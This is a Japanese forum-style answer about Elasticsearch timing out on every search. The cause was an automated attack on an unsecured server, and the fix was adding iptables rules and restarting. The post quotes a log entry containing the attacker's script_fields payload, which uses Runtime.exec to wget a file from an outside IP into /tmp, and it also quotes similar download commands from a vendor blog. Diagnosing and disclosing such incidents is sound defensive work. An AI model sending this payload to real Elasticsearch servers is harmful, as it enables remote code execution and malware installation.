sql >> データベース >  >> NoSQL >> MongoDB

Elasticsearchは、再起動するまですべての検索リクエストでタイムアウトします

    問題は解決しました:

    原因: セキュリティで保護されていないサーバーへのロボット攻撃。

    Elasticsearchによって投稿された記事によると:

    https://www.elastic.co/blog/scripting-security/

    実行したアクション: puppetサーバーにiptablesルールを追加して、すべてのelasticsearchサーバーを適用しました。

    私たちはその間違いを犯しましたが、残念ながら代償を払いました。今、戻ってきて実行しています。

    ログによると、非常に疑わしいものを見つけました

    [2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
    org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
    Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    

    主要部分を切り詰めます:

    exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")
    

    これはロボットハックの一種です。xiaoという名前の人がいないか、中国でサーバーをホストしていないため(GEO-IPによる)、この回線が疑われました。

    上記の記事によると:

    [Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
    Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
    [Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
    After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
    

    ハッカーがいくつかの厄介なクエリを適用したため、elasticsearchが機能しなくなりました。

    サーバーを再起動してIptablesを追加し、ビジネスを再開しました。




    1. Mongodb:条件が満たされた場合、要素をネストされた配列にプッシュします

    2. コレクションに上限があるかどうかをどのように判断できますか?

    3. MongoDBビューへの変数の受け渡し

    4. Python3.5でのjson.loadsとRedis